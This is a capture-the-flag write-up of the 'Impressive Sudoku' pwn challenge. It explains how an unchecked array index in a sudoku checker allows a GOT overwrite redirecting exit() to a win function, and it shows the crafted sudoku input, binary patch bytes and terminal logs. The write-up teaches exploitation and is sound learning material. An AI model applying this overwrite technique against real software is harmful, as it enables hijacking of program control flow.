# Day 18 - Impressive Sudoku - pwn, math
> First we asked you to solve a sudoku, now we want you to make one.
Service: nc 3.93.128.89 1218
Download: [4964615443db994db372a3d64524510452521f09809fdb50da22e83d15fb48ca.tar.gz](https://advent2019.s3.amazonaws.com/4964615443db994db372a3d64524510452521f09809fdb50da22e83d15fb48ca.tar.gz)
## Initial Analysis
For this pwn, we're given a C source file along with a compiled binary. This certainly makes the disassembly or reversing part of this challenge easier.
The source asks for a solved sudoku and checks that its valid using an arithmetic shortcut - checking the sum and product of each row. If this passes, it writes 8 values to a "scorer" array, multiplies 9 values in the scorer array, and if the result is greater than a large value prints a flag. Given that only 8 values are written, this score will always be zero (since at least one value will be zero). Furthermore, writing the scores to the "scorer" array doesn't do any bounds checking so we likely can perform an arbitrary write if we can construct a sudoku which validates.
The compiled binary provided is a 32-bit. Based on my initial analysis, I was a little confused about the binary's hardening features. In particular, running `hardening-check` (in the `devscripts` package on Ubuntu) and `readelf` (in the `binutils` package on Ubuntu) clearly indicate that read-only relocations is enabled (RELRO):
```root@2b94168a6ea8:/day18# hardening-check ./chal./chal: Position Independent Executable: no, normal executable! Stack protected: yes Fortify Source functions: unknown, no protectable libc functions used Read-only relocations: yes Immediate binding: no, not found!root@2b94168a6ea8:/day18# root@2b94168a6ea8:/day18# readelf -l ./chal
Elf file type is EXEC (Executable file)Entry point 0x8048470There are 9 program headers, starting at offset 52
Program Headers:  Type           Offset   VirtAddr   PhysAddr   FileSiz MemSiz  Flg Align  PHDR           0x000034 0x08048034 0x08048034 0x00120 0x00120 R   0x4  INTERP         0x000154 0x08048154 0x08048154 0x00013 0x00013 R   0x1      [Requesting program interpreter: /lib/ld-linux.so.2]  LOAD           0x000000 0x08048000 0x08048000 0x00c78 0x00c78 R E 0x1000  LOAD           0x000f0c 0x08049f0c 0x08049f0c 0x00124 0x002dc RW  0x1000  DYNAMIC        0x000f14 0x08049f14 0x08049f14 0x000e8 0x000e8 RW  0x4  NOTE           0x000168 0x08048168 0x08048168 0x00044 0x00044 R   0x4  GNU_EH_FRAME   0x000aa0 0x08048aa0 0x08048aa0 0x0005c 0x0005c R   0x4  GNU_STACK      0x000000 0x00000000 0x00000000 0x00000 0x00000 RW  0x10  GNU_RELRO      0x000f0c 0x08049f0c 0x08049f0c 0x000f4 0x000f4 R   0x1
 Section to Segment mapping:  Segment Sections...   00        01     .interp    02     .interp .note.ABI-tag .note.gnu.build-id .gnu.hash .dynsym .dynstr .gnu.version .gnu.version_r .rel.dyn .rel.plt .init .plt .plt.got .text .fini .rodata .eh_frame_hdr .eh_frame    03     .init_array .fini_array .dynamic .got .got.plt .data .bss    04     .dynamic    05     .note.ABI-tag .note.gnu.build-id    06     .eh_frame_hdr    07        08     .init_array .fini_array .dynamic .got ```
However, digging a little further, we can see that the global offset table (GOT) actually starts at address 0x0804a000 - after the `GNU_RELRO` section, and in fact that page is marked read-write when the binary is running:
```root@2b94168a6ea8:/day18# ./chalCould you give me a fully solved sudoku?Enter 9 lines, each containing 9 integers, space separated:^Z[1]+  Stopped                 ./chalroot@2b94168a6ea8:/day18# cat /proc/`pidof chal`/maps08048000-08049000 r-xp 00000000 00:4d 20354301                           /day18/chal08049000-0804a000 r--p 00000000 00:4d 20354301                           /day18/chal0804a000-0804b000 rw-p 00001000 00:4d 20354301                           /day18/chal 			<--- the GOT is in this pagef74fb000-f76d0000 r-xp 00000000 08:01 316321                             /lib/i386-linux-gnu/libc-2.27.sof76d0000-f76d1000 ---p 001d5000 08:01 316321                             /lib/i386-linux-gnu/libc-2.27.sof76d1000-f76d3000 r--p 001d5000 08:01 316321                             /lib/i386-linux-gnu/libc-2.27.sof76d3000-f76d4000 rw-p 001d7000 08:01 316321                             /lib/i386-linux-gnu/libc-2.27.sof76d4000-f76d7000 rw-p 00000000 00:00 0 f76dc000-f76de000 rw-p 00000000 00:00 0 f76de000-f76e0000 r--p 00000000 00:00 0                                  [vvar]f76e0000-f76e1000 r-xp 00000000 00:00 0                                  [vdso]f76e1000-f7707000 r-xp 00000000 08:01 316317                             /lib/i386-linux-gnu/ld-2.27.sof7707000-f7708000 r--p 00025000 08:01 316317                             /lib/i386-linux-gnu/ld-2.27.sof7708000-f7709000 rw-p 00026000 08:01 316317                             /lib/i386-linux-gnu/ld-2.27.soffc08000-ffc29000 rw-p 00000000 00:00 0                                  [stack]```
As you can see above, the binary is also not randomized, so all addresses in `chal` should be fixed. With this in mind, my goal was now to overwrite the `exit()` address in the GOT with the "scorer" writes from a valid sudoku.
Also, if you couldn't tell already, I did most of my testing in an Ubuntu docker container with my working directory mounted at `/day18`. I started this with:
```$ docker run -it --cap-add=ALL -v `pwd`:/day18 ubuntu:latest```
## Creating the overwrite
The first step to this challenge I tackled was the GOT overwrite part. To check just this alone, I edited the `chal` binary so that the `check()` function always returned 1. This was done by patching the bytes at address 0x000005F0 with `B8 01 00 00 00 C3` which is x86 assembly for "mov eax, 1; ret".
Next, I calculated that if I had a sudoku with "-105" in position (7,7), and 0x08048799 (the address for the `win()` function) in position (8,8), then the loop
```cfor (int i = 0; i < 8; i++) {    scorer[sudoku[i][i]] = sudoku[i + 1][i + 1];}```
would correctly set the address of `exit()` in the GOT with the win function. Since the binary is 32-bit and all of the sudoku values are integers, we can adjust these two values mod 2^32 to check that the overwrite works. Testing this out on our patched binary gives us the flag (locally).
```root@2b94168a6ea8:/day18# echo winwinwin > flag.txtroot@2b94168a6ea8:/day18# ./chal_nocheck Could you give me a fully solved sudoku?Enter 9 lines, each containing 9 integers, space separated:1 1 1 1 1 1 1 4294967191 1345145851 1 1 1 1 1 1 4294967191 1345145851 1 1 1 1 1 1 4294967191 1345145851 1 1 1 1 1 1 4294967191 1345145851 1 1 1 1 1 1 4294967191 1345145851 1 1 1 1 1 1 4294967191 1345145851 1 1 1 1 1 1 4294967191 1345145851 1 1 1 1 1 1 4294967191 1345145851 1 1 1 1 1 1 4294967191 134514585Let me take a look...That is an unimpressive sudoku.winwinwinroot@2b94168a6ea8:/day18# ```
Now, all I needed to do was have those two values in my sudoku and create the rest of the square so that the other diagonal addresses (and writes in the `scorer` loop) do not touch any other sensitive memory addresses and cause something like a segfault.
## The Math
As the category for this sudoku alluded to, there was some math to dig into. The only check on the sudoku is that the product and sum of each row, column, and 3x3 grid come to 45 and 362880 respectively. To simplify the problem, if I tried to create one row with our two target values, several low-value integers, and some other "unsafe" values - to be solved with "math" ;) Using this one solution row, we can fill in a sudoku that matches the `check()` constraints and doesn't cause any memory access errors.
The two "unsafe" values were chosen based on the math reducing to two equations (multiply & addition) and two unknowns. In retrospect, I probably could have just run an exhaust on all 2^32 possibilities, but I went the difficult route of solving a quadratic equation modulo 2^32. The math is a little lengthy to describe here, but you can read it in my [python script](./solutions/day18_solver.py).
Running the script in total outputs my sudoku, and then piping the result to the service gives the flag:
```$ ./day18_solver.py 1 134514585 1 317322728 1 1 4294967191 3843130128 1317322728 1 1 4294967191 3843130128 1 1 134514585 14294967191 3843130128 1 1 134514585 1 317322728 1 1134514585 1 317322728 1 1 4294967191 3843130128 1 13843130128 1 1 134514585 1 317322728 1 1 42949671911 1 4294967191 3843130128 1 1 134514585 1 3173227281 4294967191 3843130128 1 1 134514585 1 317322728 11 1 134514585 1 317322728 1 1 4294967191 38431301281 317322728 1 1 4294967191 3843130128 1 1 134514585$ ./day18_solver.py | nc 3.93.128.89 1218Could you give me a fully solved sudoku?Enter 9 lines, each containing 9 integers, space separated:Let me take a look...That is an unimpressive sudoku.AOTW{Th3t_is_such_aN_1mpr3ssive_Sud0ku}$ ```